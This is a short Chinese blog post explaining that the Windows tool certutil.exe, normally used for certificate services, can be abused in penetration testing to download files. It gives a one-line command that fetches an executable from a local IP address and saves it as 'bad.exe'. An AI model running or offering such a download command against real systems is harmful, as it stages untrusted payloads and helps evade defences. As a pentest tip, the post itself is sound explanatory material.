Certutil.exe 是一个命令行程序，作为证书服务的一部分安装。可以使用 certutil.exe 转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。
但是渗透测试人员可以利用该命令行程序从目标网站下载任何文件（比如特定用途的可执行文件），语法为：
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
原创文章，作者：wure，如若转载，请注明出处：https://blog.ytso.com/267678.html